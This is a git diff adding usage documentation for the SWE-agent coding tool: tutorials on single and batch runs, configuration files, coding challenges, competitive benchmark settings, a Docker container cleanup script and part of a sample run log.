it? + + +!!! tip "All command line options" + * See [`RunBatchConfig`](../reference/run_batch_config.md#sweagent.run.run_batch.RunBatchConfig) for an overview of all options. + * SWE-bench config: [`SWEBenchInstances`](../reference/batch_instances.md#sweagent.run.batch_instances.SWEBenchInstances). + +!!! tip "Evaluating on SWE-bench" + If you are using [`sb-cli`](https://www.swebench.com/sb-cli/), you can automatically evaluate on SWE-bench by adding the `--evaluate=True` flag. + This will already submit submissions to `sb-cli` while you are running, so that you should receive results within a minute of finishing your run. + +## Multimodal SWE-bench + +SWE-agent supports the **SWE-bench Multimodal** dataset, which includes GitHub issues with associated images (screenshots, diagrams, UI mockups). To run on multimodal instances: + +```bash +sweagent run-batch \ + --config config/default_mm_with_images.yaml \ + --agent.model.name claude-sonnet-4-20250514 \ + --agent.model.per_instance_cost_limit 2.00 \ + --instances.type swe_bench \ + --instances.subset multimodal \ + --instances.split dev \ + --instances.slice :3 \ + --instances.shuffle=True +``` + +Key differences for multimodal runs: + +- **Configuration**: Use `config/default_mm_with_images.yaml` which includes image processing capabilities +- **Subset**: Use `--instances.subset multimodal` to access the multimodal dataset +- **Token limits**: Consider higher cost limits as images consume more tokens +- **Multimodal Tools**: `tools/image_tools` and `tools/web_browser` include useful tools for viewing images and web browsers + +The system automatically: +- Downloads images from GitHub issue URLs +- Converts them to base64 markdown format +- Provides visual context to the AI model + +!!! tip "Multimodal Configuration" + See the [multimodal guide](multimodal.md) for detailed configuration options and troubleshooting. + +## Running in parallel + +Let's speed things up and run on 5 instances at once. Only a single line to change: + +```bash hl_lines="4-4" +sweagent run-batch \ + --config config/default.yaml \ + --agent.model.name gpt-4o \ + --num_workers 3 \ + --agent.model.per_instance_cost_limit 2.00 \ + --instances.type swe_bench \ + --instances.subset lite \ + --instances.split dev \ + --instances.slice :3 \ + --instances.shuffle=True +``` + +You'll see output that looks like this (only with 3 workers instead of 30): + +
+![SWE-ReX in action](../assets/batch_animated.gif){: style="max-width: 500px; border-radius: 10px;"} +
SWE-Agent running on 30 SWE-bench instances
+
+ +!!! tip "All command line options" + See [`RunBatchConfig`](../reference/run_batch_config.md#sweagent.run.run_batch.RunBatchConfig) for an overview of all options. + +When starting a lot of parallel instances with the docker backend, it might happen that you see some bottleneck effects +(e.g., when running on a platform with few CPUs, you might see some timeouts because there's not enough CPUs to handle the startup of all containers in time). +In this case, please set `--random_delay_multiplier` to e.g., 1. This means that every worker will wait a random time between `0s` and `1s * #workers` before starting, +thereby easing CPU pressure. Default is 0.3. + +## Loading instances from a file + +```bash +sweagent run-batch \ + --config config/default.yaml \ + --agent.model.name gpt-4o \ + --instances.type file \ + --instances.path instances.yaml \ + --instances.slice :3 \ + --instances.shuffle=True +``` + +`--instances.path` supports `.jsonl`, `.json`, and `.yaml` files. + +Here'the simplest example of what such a file can look like + +```yaml title="instances.yaml" +- image_name: "python:3.11" # (1)! + problem_statement: "A simple test problem" + instance_id: "simple_test_problem" +- image_name: "python:3.11" + problem_statement: "Another test problem" + instance_id: "simple_test_problem_2" +``` + +1. Must be available locally or on dockerhub. + +!!! warning "Recent changes" + The `instance_id` key was named `id` until Mar 16, 2025. + This was changed to add compatibility with the standard SWE-bench format. + However, we temporarily support both names. + +!!! tip "More options" + * There's a few more fields that you can populate. See [`SimpleBatchInstances`](../reference/batch_instances.md#sweagent.run.batch_instances.SimpleBatchInstance) for more information. + * For all command line options with this instance type, see [`InstancesFromFile`](../reference/batch_instances.md#sweagent.run.batch_instances.InstancesFromFile). + +## Huggingface instances + +If you upload your dataset to Huggingface in a similar style as the example we just saw, you can load it like this: + +```bash +sweagent run-batch \ + ... + --instances.type huggingface \ + --instances.dataset_name "your_username/your_dataset" \ + --instances.split "dev" \ + --instances.slice :3 \ + --instances.shuffle=True +``` + +!!! tip "All instance options" + See [`InstancesFromHuggingFace`](../reference/batch_instances.md#sweagent.run.batch_instances.InstancesFromHuggingFace). + +## Expert instances + +If this is not enough for your use case, you can also specify a full set of `Environment`, `ProblemStatement`, and `Repository` config objects: + +```bash +sweagent run-batch \ + ... + --instances.type expert_file \ + --instances.path instances.yaml +``` + +where `instances.yaml` could look like this: + +```yaml title="instances.yaml" +- env: + deployment: + type: docker + image: python:3.11 + repo: + type: github + github_url: "https://github.com/swe-agent/test-repo" + problem_statement: + type: text + text: "A simple test problem" + id: "simple_test_problem" +- env: + deployment: + type: docker + image: python:3.11 + problem_statement: + type: text + text: "A simple test problem 2" + id: "simple_test_problem_2" +``` + +!!! tip "All instance options" + See [`ExpertInstances`](../reference/batch_instances.md#sweagent.run.batch_instances.ExpertInstancesFromFile). + +## Output files and next steps + +All patches generated (all submissions/predictions of the agent) are saved to a `preds.json` file. +If you interrupt `sweagent run-batch`, some of these or the file itself might be missing. +You can use the `sweagent merge-preds` utility to fix this. + +The `preds.json` file is very similar to the `.jsonl` format that is used for SWE-bench local runs. +You can convert between the formats with + +```python +from pathlib import Path +import json + +preds = json.loads(Path("preds.json").read_text()) +data = [{"instance_id": key, **value} for key, value in preds.items()] +jsonl = [json.dumps(d) for d in data] +Path("all_preds.jsonl").write_text("\\n".join(jsonl)) +``` + +!!! tip "Next up" + + Take a look at our [competitive runs tutorial](competitive_runs.md) + for more information on running on SWE-Bench and similar benchmarks. diff --git a/docs/usage/cl_tutorial.md b/docs/usage/cl_tutorial.md new file mode 100644 index 0000000..035cfe6 --- /dev/null +++ b/docs/usage/cl_tutorial.md @@ -0,0 +1,299 @@ +# Command line basics + +!!! abstract "Command line basics" + This tutorial walks you through running SWE-agent from the command line. + + * Please read our [hello world](hello_world.md) tutorial before proceeding. + * This tutorial focuses on using SWE-agent as a tool to solve individual issues. + Benchmarking SWE-agent is covered [separately](batch_mode.md). + Finally, we have a different tutorial for using SWE-agent for [coding challenges](coding_challenges.md). + +!!! tip "Mini-SWE-Agent" + + Looking for a simple, no-fuzz version of SWE-agent that can also help you in your daily work? + Check out [Mini-SWE-Agent](https://mini-swe-agent.com/)! + +## A few examples + +Before we start with a more structured explanation of the command line options, here are a few examples that you might find immediately useful: + +```bash title="Fix a github issue" +sweagent run \ + --agent.model.name=gpt-4o \ + --agent.model.per_instance_cost_limit=2.00 \ + --env.repo.github_url=https://github.com/SWE-agent/test-repo \ + --problem_statement.github_url=https://github.com/SWE-agent/test-repo/issues/1 +``` + +```bash title="Work on a github repo with a custom problem statement" hl_lines="4" +sweagent run \ + ... + --env.repo.github_url=https://github.com/SWE-agent/test-repo \ + --problem_statement.text="Hey, can you fix all the bugs?" +``` + +```bash title="Fix a bug in a local repository using a custom docker image" hl_lines="4 5 6" +git clone https://github.com/SWE-agent/test-repo.git +sweagent run \ + --agent.model.name=claude-sonnet-4-20250514 \ + --env.repo.path=test-repo \ + --problem_statement.path=test-repo/problem_statements/1.md \ + --env.deployment.image=python:3.12 +``` + +1. Make sure to add anthropic keys (or keys for your model provider) to the environment for this one! +2. `--env.deployment.image` points to the [dockerhub image](https://hub.docker.com/_/python) of the same name + + +For the next example, we will use a cloud-based execution environment instead of using local docker containers. +For this, you first need to set up a modal account, install the necessary extra dependencies `pip install 'swe-rex[modal]'`, then run: + +```bash title="Deployment on modal (cloud-based execution)" hl_lines="3" +sweagent run \ + ... + --env.deployment.type=modal \ + --env.deployment.image=python:3.12 +``` + +!!! tip "All options" + Run `sweagent run --help` to see all available options for `run.py`. This tutorial will only cover a subset of options. + +## Configuration files + +All configuration options can be specified either in one or more `.yaml` files, or as command line arguments. For example, our first command can be written as + +=== "Command line" + + ```bash + sweagent run --config my_run.yaml + ``` + +=== "Configuration file" + + ```yaml title="my_run.yaml" + agent: + model: + name: gpt-4o + per_instance_cost_limit: 2.00 + env: + repo: + github_url: https://github.com/SWE-agent/test-repo + problem_statement: + github_url: https://github.com/SWE-agent/test-repo/issues/1 + ``` + +But we can also split it up into multiple files and additional command line options: + +=== "Command line" + + ```bash + # Note that you need --config in front of every config file + sweagent run --config agent.yaml --config env.yaml \ + --problem_statement.text="Hey, can you fix all the bugs?" + ``` + +=== "`agent.yaml`" + + ```yaml title="agent.yaml" + agent: + model: + name: gpt-4o + per_instance_cost_limit: 2.00 + ``` + +=== "`env.yaml`" + + ```yaml title="env.yaml" + env: + repo: + github_url: https://github.com/SWE-agent/test-repo + ``` + +!!! warning "Multiple config files" + Prior to version SWE-agent 1.1.0, configs were merged with simple dictionary updates, + rather than a hierarchical merge, so specifying `agent` (or any key with subkeys) in the + second config would completely overwrite all `agent` settings of the first config. + This is fixed since SWE-agent 1.1.0. + +The default config file is `config/default.yaml`. Let's take a look at it: + +
+Example: default config default.yaml + +```yaml +--8<-- "config/default.yaml" +``` +
+ +As you can see, this is where all the templates are defined! + +This file is also loaded when no other `--config` options are specified. +So to make sure that we get the default templates in the above examples with `--config`, we should have added + +```bash +--config config/default.yaml +``` + +in addition to all the other `--config` options for the two examples above. + +## Problem statements and union types + +!!! note "Operating in batch mode: Running on SWE-bench and other benchmark sets" + If you want to run SWE-agent in batch mode on SWE-bench or another whole evaluation set, see + [batch mode](batch_mode.md). This tutorial focuses on using SWE-agent on + individual issues. + +We've already seen a few examples of how to specify the problem to solve, namely + +```bash +--problem_statement.github_url=https://github.com/SWE-agent/test-repo/issues/1 +--problem_statement.path=/path/to/problem.md +--problem_statement.text="..." +``` + +Each of these types of problems can have specific configuration options. + +To understand how this works, we'll need to understand **union types**. +Running `sweagent run` builds up a configuration object that essentially looks like this: + +```yaml +agent: AgentConfig +env: EnvironmentConfig +problem_statement: TextProblemStatement | GithubIssue | FileProblemStatement # (1)! +``` + +1. This is a union type, meaning that the problem statement can be one of the three types. + +Each of these configuration objects has its own set of options: + +* [`GithubIssue`](../reference/problem_statements.md#sweagent.agent.problem_statement.GithubIssue) +* [`TextProblemStatement`](../reference/problem_statements.md#sweagent.agent.problem_statement.TextProblemStatement) +* [`FileProblemStatement`](../reference/problem_statements.md#sweagent.agent.problem_statement.FileProblemStatement) + +So how do we know which configuration object to initialize? +It's simple: Each of these types has a different set of required options (e.g., `github_url` is required for `GithubIssue`, but not for `TextProblemStatement`). +SWE-agent will automatically select the correct configuration object based on the command line options you provide. + +However, you can also explicitly specify the type of problem statement you want to use by adding a `--problem_statement.type` option. + +!!! tip "Union type errors" + If you ever ran a SWE-agent command and got a very long error message about various configuration options not working, it is because for union types. + If everything works correctly, we try to initialize every option until we find the one that works based on your inputs (for example stopping at `TextProblemStatement` if you provided a `--problem_statement.text`). + However, if none of them work, we throw an error which then tells you why we cannot initialize any of the types (so it will tell you that `github_url` is required for `GithubIssue`, even though you might not even have tried to work on a GitHub issue). + +
Example union type errors + Example union type errors + + This is the output of running + + ```bash + sweagent run --problem_statement.path="test" --problem_statement.github_url="asdf" + ``` + + ``` + --8<-- "docs/usage/union_type_error.txt" + ``` +
+ +If you want to read more about how this works, check out the [pydantic docs](https://docs.pydantic.dev/latest/concepts/unions/). + +## Specifying the repository + +The repository can be specified in a few different ways: + +```bash +--env.repo.github_url=https://github.com/SWE-agent/test-repo +--env.repo.path=/path/to/repo +``` + +Again, those are [union types](#union-types). See here for all the options: + +* [`GithubRepoConfig`](../reference/repo.md#sweagent.environment.repo.GithubRepoConfig): Pull a repository from GitHub. +* [`LocalRepoConfig`](../reference/repo.md#sweagent.environment.repo.LocalRepoConfig): Copies a repository from your local filesystem to the docker container. +* [`PreExistingRepoConfig`](../reference/repo.md#sweagent.environment.repo.PreExistingRepoConfig): If you want to use a repository that already exists on the docker container. + +## Configuring the environment + +We mainly recommend you to build a docker image with all the dependencies you need and then use that with `--env.deployment.image`. +In addition, you can also execute additional commands before starting the agent with `env.post_startup_commands`, which takes a list of commands, e.g., + +```bash +sweagent run \ + --agent.model.name=claude-3-7-sonnet-latest \ + --env.post_startup_commands='["pip install flake8"]' \ + ... +``` + +Note the list syntax that is passed as a string using single ticks `'`. This is particularly important for `zsh` where `[`, `]` have special meaning. + +Here's an example of a custom docker environment (it's also available in the repo as `docker/tiny_test.Dockerfile`): + + +```bash title="tiny_test.Dockerfile" +FROM python:3.11.10-bullseye # (1)! + +ARG DEBIAN_FRONTEND=noninteractive # (2)! +ENV TZ=Etc/UTC # (3)! + +WORKDIR / + +# SWE-ReX will always attempt to install its server into your docker container +# however, this takes a couple of seconds. If we already provide it in the image, +# this is much faster. +RUN pip install pipx +RUN pipx install swe-rex # (4)! +RUN pipx ensurepath # (5)! + +RUN pip install flake8 # (6)! + +SHELL ["/bin/bash", "-c"] +# This is where pipx installs things +ENV PATH="$PATH:/root/.local/bin/" # (7)! +``` + +Click on the :material-chevron-right-circle: icon in the right margin of the code snippet to see more information about the lines. + +1. This is the base image. +2. This is to avoid any interactive prompts from the package manager. +3. Again, this avoids interactive prompts +4. SWE-ReX is our execution backend. We start a small server within the container, which receives + commands from the agent and executes them. +5. This ensures that the path where pipx installs things is in the `$PATH` variable. +6. This is to install flake8, which is used by some of our edit tools. +7. Unfortunately, step 5 sometimes still doesn't properly add the SWE-ReX server to the `$PATH` variable. + So we do it here again. + + +## Taking actions + +* You can use `--actions.apply_patch_locally` to have SWE-agent apply successful solution attempts to local files. +* Alternatively, when running on a GitHub issue, you can have the agent automatically open a PR if the issue has been solved by supplying the `--actions.open_pr` flag. + Please use this feature responsibly (on your own repositories or after careful consideration). + +!!! tip "All action options" + See [`RunSingleActionConfig`](../reference/run_single_config.md#sweagent.run.run_single.RunSingleActionConfig) for all action options. + +Alternatively, you can always retrieve the patch that was generated by SWE-agent. +Watch out for the following message in the log: + + +``` +╭──────────────────────────── 🎉 Submission successful 🎉 ────────────────────────────╮ +│ SWE-agent has produced a patch that it believes will solve the issue you submitted! │ +│ Use the code snippet below to inspect or apply it! │ +╰─────────────────────────────────────────────────────────────────────────────────────╯ +``` + +And follow the instructions below it: + +```bash + # The patch has been saved to your local filesystem at: + PATCH_FILE_PATH='/Users/.../patches/05917d.patch' + # Inspect it: + cat "${PATCH_FILE_PATH}" + # Apply it to a local repository: + cd + git apply "${PATCH_FILE_PATH}" +``` + +{% include-markdown "../_footer.md" %} diff --git a/docs/usage/cli.md b/docs/usage/cli.md new file mode 100644 index 0000000..c993977 --- /dev/null +++ b/docs/usage/cli.md @@ -0,0 +1,23 @@ +# SWE-agent command line interface + +All functionality of SWE-agent is available via the command line interface via the `sweagent` command. + +You can run `sweagent --help` to see all subcommands. + +## Running SWE-agent + +* `sweagent run`: Run SWE-agent on a single issue ([tutorial](hello_world.md)). +* `sweagent run-batch`: Run SWE-agent on a batch of issues ([tutorial](batch_mode.md)). +* `sweagent run-replay`: Replay a trajectory file or a demo file. This means that you take all actions from the trajectory and execute them again in the environment. Useful for debugging your [tools](../config/tools.md) or for building new [demonstrations](../config/demonstrations.md). + +## Inspecting runs + +* `sweagent inspect` or `sweagent i`: Open the command line inspector ([more information](inspector.md)). +* `sweagent inspector` or `sweagent I`: Open the web-based inspector ([more information](inspector.md)). +* `sweagent quick-stats` or `sweagent qs`: When executed in a directory with trajectories, displays a summary of `exit_status` and more + +## Advanced scripts + +* `sweagent merge-preds`: Merge multiple prediction files into a single file. +* `sweagent traj-to-demo`: Convert a trajectory file to an easy to edit demo file ([more information on demonstrations](../config/demonstrations.md)). +* `sweagent remove-unfinished`: Remove unfinished trajectories diff --git a/docs/usage/coding_challenges.md b/docs/usage/coding_challenges.md new file mode 100644 index 0000000..0c5f6cf --- /dev/null +++ b/docs/usage/coding_challenges.md @@ -0,0 +1,157 @@ +# Using SWE-agent for coding challenges + +!!! abstract "Overview" + It is easy to use SWE-agent to do more than just software engineering. + For example, you can tell SWE-agent to work on leetcode or humaneval-style problems. + + Required reading: + Please first skim [hello world](hello_world.md) and [command line basics](cl_tutorial.md) to get familiar with the basics of SWE-agent. + + +Let's start with a new problem statement. For this, put the problem you want to solve in a markdown file `problem.md`, for example: + +
+Example leetcode challenge + +This is the first missing positive challenge. + +```markdown +--8<-- "docs/usage/leetcode_example.md" +``` + +
+ +Second, we need to specify a repository wherein SWE-agent will work. +Here, we can simply create an empty folder (outside of the SWE-agent repository), and add a `main.py` file + +```bash +mkdir empty +git init +touch main.py +echo "*.pyc" > .gitignore # to avoid binary files in patches +``` + +and potentially populate it with the problem stub + +```python +from typing import List + + +class Solution: + def firstMissingPositive(self, nums: List[int]) -> int: +``` + +!!! tip + If some imports (like `List`) are missing in the problem stub (like they oftentimes do + in leetcode) , SWE-agent will figure out how to add them. However, it might take an + additional step, so it's best to directly specify them. + +Make sure to commit all changes to the repository: + +```bash +git add . && git commit -m "Add problem stub" +``` + +Now, we can let SWE-agent solve the problem: + +```bash +sweagent run \ + --config config/coding_challenge.yaml \ + --problem_statement.path=problem.md \ + --env.repo.path=/path/to/empty \ + --agent.model.name=gpt-4o \ + --agent.model.per_instance_cost_limit 3.0 \ + --actions.apply_patch_locally=True +``` + +
+Output + +``` +--8<-- "docs/usage/coding_challenge_output.log" +``` + +
+ +SWE-agent will typically conclude with a message like + +``` +INFO Trajectory saved to trajectories/fuchur/azure-gpt4__problem__coding_challenge__t-0.00__p-0.95__c-3.00__install-1/26d111.traj +INFO Saved predictions to + trajectories/fuchur/azure-gpt4__problem__coding_challenge__t-0.00__p-0.95__c-3.00__install-1/all_preds.jsonl +╭──────────────────────────── 🎉 Submission successful 🎉 ────────────────────────────╮ +│ SWE-agent has produced a patch that it believes will solve the issue you submitted! │ +│ Use the code snippet below to inspect or apply it! │ +╰─────────────────────────────────────────────────────────────────────────────────────╯ + + # The patch has been saved to your local filesystem at: + PATCH_FILE_PATH='/Users/fuchur/Documents/24/git_sync/SWE-agent/trajectories/fuchur/azure-gpt4__problem__coding_challenge__t-0.00__p-0 + 5__c-3.00__install-1/patches/26d111.patch' + # Inspect it: + cat "${PATCH_FILE_PATH}" + # Apply it to a local repository: + cd + git apply "${PATCH_FILE_PATH}" +``` + +This informs you of the location of the [trajectory](trajectories.md) and of the patch file that contains the solution. + +In our case, this looks like this: + + +
+Patch (solution) + +```patch +diff --git a/main.py b/main.py +index 1e7f08f..beabaa7 100644 +--- a/main.py ++++ b/main.py +@@ -2,4 +2,37 @@ from typing import List + + + class Solution: +- def firstMissingPositive(self, nums: List[int]) -> int: ++ # Implementation of the function to find the smallest missing positive integer ++ def firstMissingPositive(self, nums: List[int]) -> int: ++ n = len(nums) ++ # Mark numbers (num < 0) and (num > n) with a special marker number (n+1) ++ # We can ignore those because if missing number is in the range (1, n+1) ++ # it must be in the array ++ for i in range(n): ++ if nums[i] <= 0 or nums[i] > n: ++ nums[i] = n + 1 ++ ++ # Use index as a hash key and number sign as a presence detector ++ # For example, if nums[1] is negative that means that number `1` is present in the array ++ for i in range(n): ++ num = abs(nums[i]) ++ if num <= n: ++ nums[num - 1] = -abs(nums[num - 1]) ++ ++ # Now the index of the first positive number is equal to the smallest missing positive number ++ for i in range(n): ++ if nums[i] > 0: ++ return i + 1 ++ ++ # If no positive numbers were found, the smallest missing positive is n+1 ++ return n + 1 ++# Adding test cases to verify the implementation of firstMissingPositive ++if __name__ == "__main__": ++ sol = Solution() ++ # Test case 1 ++ assert sol.firstMissingPositive([1, 2, 0]) == 3, "Test case 1 failed" ++ # Test case 2 ++ assert sol.firstMissingPositive([3, 4, -1, 1]) == 2, "Test case 2 failed" ++ # Test case 3 ++ assert sol.firstMissingPositive([7, 8, 9, 11, 12]) == 1, "Test case 3 failed" ++ print("All test cases passed successfully.") +``` +
+ +Because of the `--apply_patch_locally` flag, the patch has also already been applied to the repository, +so you can also retrieve the final solution from there. + +### Improving SWE-agent for coding challenges + +By default, the demonstration trajectory the agent uses while solving a coding challenge is one in which it needs to solve a small bug in a short piece of code (from the HumanEvalFix dataset). Since that process is not too similar to solving a coding challenge, performance would probably substantially improve if the agent was given a demonstration trajectory in which it has to solve an actual programming challenge. To learn how to do that, read [this](../config/demonstrations.md). diff --git a/docs/usage/competitive_runs.md b/docs/usage/competitive_runs.md new file mode 100644 index 0000000..4ebc116 --- /dev/null +++ b/docs/usage/competitive_runs.md @@ -0,0 +1,87 @@ +# Competitive runs + +!!! abstract "Running swe-agent competitively on benchmarks" + This page contains information on our competitive runs on SWE-bench, as well as tips and tricks for evaluating on large batches. + + * Please make sure you're familiar with [the command line basics](cl_tutorial.md) and the [batch mode](batch_mode.md) + * The default examples will be executing code in a Docker sandbox, so make sure you have docker installed ([docker troubleshooting](../installation/tips.md)). + + +## Current competitive configurations + +!!! hint "Most recent configs" + You can find all benchmark submission configs [here](https://github.com/SWE-agent/SWE-agent/tree/main/config/benchmarks) + +Examples of configurations for SWE-bench submissions: + +* [250225_anthropic_filemap_simple_review.yaml](https://github.com/SWE-agent/SWE-agent/blob/main/config/250225_anthropic_filemap_simple_review.yaml): + This is our current default one-attempt config. It uses `claude-3-7-sonnet-20250219`. +* [250212_sweagent_heavy_sbl.yaml](https://github.com/SWE-agent/SWE-agent/blob/main/config/250212_sweagent_heavy_sbl.yaml): + This config runs 5 attempts with slightly different configurations using `claude-3-7-sonnet-latest`, + then uses o1 to discriminate between them. + This is a very expensive configuration. + If you use it, also make sure to use Claude 3.7 instead of claude 3.5. + +!!! warning "Retry configurations and command line arguments" + Note that the structure of the configuration with agents that run multiple attempts is different from the one of the + default agent. In particular, supplying options like `--agent.model.name` etc. will cause (potentially confusing) + error messages. Take a look at the above configuration file to see the structure! + +You can find the command with which to run each config at the top of the config file. + +In order to run on multiple workers with Claude, you need to use multiple API keys in order to have enough cache break points. +For this, please set the following environment variable before running + +```bash +# concatenate your keys +export CLAUDE_API_KEY_ROTATION="KEY1:::KEY2:::KEY3" +``` + +See our [notes on Claude](../config/models.md) for more details. + +## Memory consumption + +We run our configuration on a machine with 32GB memory and 8 cores. +To avoid out-of-memory (OOM) situations, we recommend setting + +```bash +--instances.deployment.docker_args=--memory=10g +``` + +limiting the maximum amount of memory per worker. + +In our case, this completely avoided any instances of running OOM. + +However, OOM situations can potentially lock you out of the server, so +you might want to use a script like the following as a second layer +defense to kill any process that hogs too much memory (note that this will affect _any_ script and not just swe-agent): + +
+Memory sentinel + +```python +--8<-- "docs/usage/memory_sentinel.py" +``` + +
+ +If swe-agent dies or you frequently abort it, you might have leftover docker containers +(they are cleaned up by normal termination of swe-agent but can be left over if it is killed). +You can use a sentinel script like the following to clean them up periodically +(note that this will affect _any_ long running container and not just those from swe-agent): + +
+Container sentinel + +```bash +--8<-- "docs/usage/containers_sentinel.sh" +``` +
+ +## Tradeoffs between resolution rate and cost + +* Running multi-attempt configurations will always be _very_ expensive. Don't use them if cost is of importance. +* The simplest setting to keep cost in check is the per instance cost limit or turn limit. + Without limiting cost, the average cost will also converge to infinity, as the agent will never stop iterating. + With Claude 3.7, a cost-conservative limit would be $1 instance limit or lower and a turn count limit of 50. + For our swe-bench submissions we use slightly higher limits (see the configs above). diff --git a/docs/usage/containers_sentinel.sh b/docs/usage/containers_sentinel.sh new file mode 100644 index 0000000..1bd9d21 --- /dev/null +++ b/docs/usage/containers_sentinel.sh @@ -0,0 +1,22 @@ +#!/bin/bash + +while true; do + echo "Checking for long-running containers..." + # List all running containers with their uptime + docker ps --format "{{.ID}} {{.RunningFor}}" | while read -r id running_for; do + # Extract the number and unit from the running time + if [[ $running_for =~ ([0-9]+)\ (hour|hours) ]]; then + hours=${BASH_REMATCH[1]} + if (( hours >= 2 )); then + echo "Killing container $id (running for $running_for)..." + docker kill "$id" + fi + elif [[ $running_for =~ ([0-9]+)\ (day|days) ]]; then + # If it's running for at least a day, it's definitely over 2 hours + echo "Killing container $id (running for $running_for)..." + docker kill "$id" + fi + done + echo "Sleeping for 10 minutes..." + sleep 600 # Wait 600 seconds (10 minutes) before running again +done \ No newline at end of file diff --git a/docs/usage/hello_world.md b/docs/usage/hello_world.md new file mode 100644 index 0000000..01d7c8b --- /dev/null +++ b/docs/usage/hello_world.md @@ -0,0 +1,86 @@ +# Hello world + +!!! abstract "Fix a GitHub issue with SWE-agent" + In this tutorial, we will fix a GitHub issue with SWE-agent using the command line interface. + + * Make sure you have [installed](../installation/index.md) SWE-agent and have a [language model](../installation/keys.md) set up. + * We will be executing code in a Docker sandbox, so make sure you have docker installed ([docker troubleshooting](../installation/tips.md)). + If you cannot run docker, skim this tutorial and see how you can run SWE-agent with cloud-based execution in the [command line basics tutorial](cl_tutorial.md). + +!!! tip "Mini-SWE-Agent" + + Looking for a simple, no-fuzz version of SWE-agent that can also help you in your daily work? + Check out [Mini-SWE-Agent](https://mini-swe-agent.com/)! + +After installing SWE-agent, you have the `sweagent` command available. Run `sweagent --help` to see the list of subcommands. +The most important ones are + +* `sweagent run`: Run SWE-agent on a single problem statement. This is covered on this page and for slightly more advanced examples in the [command line basics tutorial](cl_tutorial.md). +* `sweagent run-batch`: Run SWE-agent on a list of problem statements. This is what you would use for benchmarking, or when + working with a larger set of historic issues. Covered in the [batch mode tutorial](batch_mode.md). + +In this tutorial, we will focus on the `run` subcommand. + +Let's start with an absolutely trivial example and solve an issue about a simple syntax error ([`swe-agent/test-repo #1`](https://github.com/SWE-agent/test-repo/issues/1)) + +```bash +sweagent run \ + --agent.model.name=claude-sonnet-4-20250514 \ + --agent.model.per_instance_cost_limit=2.00 \ + --env.repo.github_url=https://github.com/SWE-agent/test-repo \ + --problem_statement.github_url=https://github.com/SWE-agent/test-repo/issues/1 +``` + +The example above uses the `Claude Sonnet 4` model from Anthropic. Alternatively, you can for example use `GPT-4o` (from OpenAI) +by setting `--agent.model.name=gpt-4o`. +In order to use it, you need to add your keys to the environment: + +```bash +export ANTHROPIC_API_KEY= +export OPENAI_API_KEY= +``` + +alternatively, you can create a `.env` file in your working directory and put your keys in there like so: + +```bash +ANTHROPIC_API_KEY= +OPENAI_API_KEY= +``` + +We should support all models that you can think of. + +!!! tip "Models and keys" + Read more about configuring [models and API keys](../installation/keys.md). + +
+Output + +``` +--8<-- "docs/usage/hello_world_output.txt" +``` +
+ +As you can see, the command line options are hierarchical. At the top level, there are three important sections: + +* `problem_statement`: What problem are you trying to solve? +* `agent`: How do you want to solve the problem? This includes setting up the LM with `--agent.model`. +* `env`: What is the environment in which the problem statement should be solved? + This includes setting the repository/folder with the source files with `--env.repo`, as well as docker images and other dependencies. + This will also control where the code is executed (in a local container or in the cloud). + + +Watching the output, you can notice several stages: + +1. Setting up the **deployment**: SWE-agent lets LMs execute actions in sandboxed environments. It can run these environments + in docker containers (default), on modal, AWS fargate, or directly on your computer (not recommended). + When the deployment starts, you will notice a "starting runtime" message that takes a few seconds. The runtime is + what is executing the commands within your deployment. + Deployments are managed by a package called [`SWE-ReX`](https://swe-rex.com/latest/). +2. Setting up [**tools**](../config/tools.md): The tools that you specified are copied and installed within the environment. +3. **System and instance prompts**: The initial instructions are shown to the LM. They are fully [configurable](../config/templates.md). +4. **Main loop**: The LM starts to suggest and execute actions. +5. **Submission**: The LM calls `submit` and we extract the patch (i.e., the changes to the source code that solve the problem). + +The complete details of the run are saved as a ["trajectory" file](trajectories.md)). They can also be turned into new [demonstrations](../config/demonstrations.md) together with other log and output files. + +Wetted your appetite? Head over to the [command line basics tutorial](cl_tutorial.md) to learn more about the options. diff --git a/docs/usage/hello_world_output.txt b/docs/usage/hello_world_output.txt new file mode 100644 index 0000000..08cf96e --- /dev/null +++ b/docs/usage/hello_world_output.txt @@ -0,0 +1,667 @@ +👋 INFO This is SWE-agent version 1.0.1 (hash='5206f8371274adb34f4946f8bee92f14615a91e1') with SWE-ReX version 1.2.1 (rex_hash='b30056ae7add48ccddef038f34e2a049889eff64'). +/opt/miniconda3/envs/swea13/lib/python3.13/site-packages/pydantic/_internal/_config.py:341: UserWarning: Valid config keys have changed in V2: +* 'fields' has been removed + warnings.warn(message, UserWarning) +🔧 INFO Loading default config from /Users/fuchur/Documents/24/git_sync/SWE-agent/config/anthropic_filemap.yaml, because no other config file is specified. Specify --no_config_file to disable this. +🔧 INFO Setting problem statement based on github issue url +🔧 INFO Loaded environment variables from /Users/fuchur/Documents/24/git_sync/SWE-agent/.env +🤖 WARN Claude 3.7 models do not support 128k context by default. Setting max output tokens to 64k. To enable 128k context, please set the completion_kwargs to {'extra_headers': {'anthropic-beta': + 'output-128k-2025-02-19'}}. +🏃 INFO Starting environment +🦖 INFO Building image python:3.11 to install a standalone python to /root. This might take a while (but you only have to do it once). To skip this step, set `python_standalone_dir` to None. +🦖 DEBUG Found free port 54389 +🦖 INFO Starting container python3.11-ab0dbfce-00dd-4b4c-bbdc-aa16cbc3590f with image python:3.11 serving on port 54389 +🦖 DEBUG Command: "docker run --rm -p 54389:8000 --name python3.11-ab0dbfce-00dd-4b4c-bbdc-aa16cbc3590f sha256:9e1c9f1444e6352f8447e2acf9bb8ed31c3844ec059a517d3a8f05584276c535 /bin/sh -c + '/root/python3.11/bin/swerex-remote --auth-token 011937af-978b-49fa-9808-48408adcb0a2'" +🦖 INFO Starting runtime at 54389 +🦖 INFO Runtime started in 1.07s +🪴 INFO Environment Initialized +🪴 DEBUG Resetting repository SWE-agent__test-repo to commit HEAD +🏃 INFO Running agent +🤠 INFO Setting up agent for instance SWE-agent__test-repo-i1 +🤠 INFO Trajectory will be saved to + /Users/fuchur/Documents/24/git_sync/SWE-agent/trajectories/fuchur/anthropic_filemap__claude-3-7-sonnet-latest__t-0.00__p-1.00__c-2.00___SWE-agent__test-repo-i1/SWE-agent__test-repo-i1/SWE-agent__test-re + po-i1.traj +🪴 DEBUG No environment variables to set +🦖 DEBUG Uploading file from /Users/fuchur/Documents/24/git_sync/SWE-agent/tools/registry to /root/tools/registry +🦖 DEBUG Created zip file at /var/folders/g3/1y2_hl1j16scls01cxqm76s80000gn/T/tmp_37eron8/zipped_transfer.zip +🦖 DEBUG Uploading file from /Users/fuchur/Documents/24/git_sync/SWE-agent/tools/edit_anthropic to /root/tools/edit_anthropic +🦖 DEBUG Created zip file at 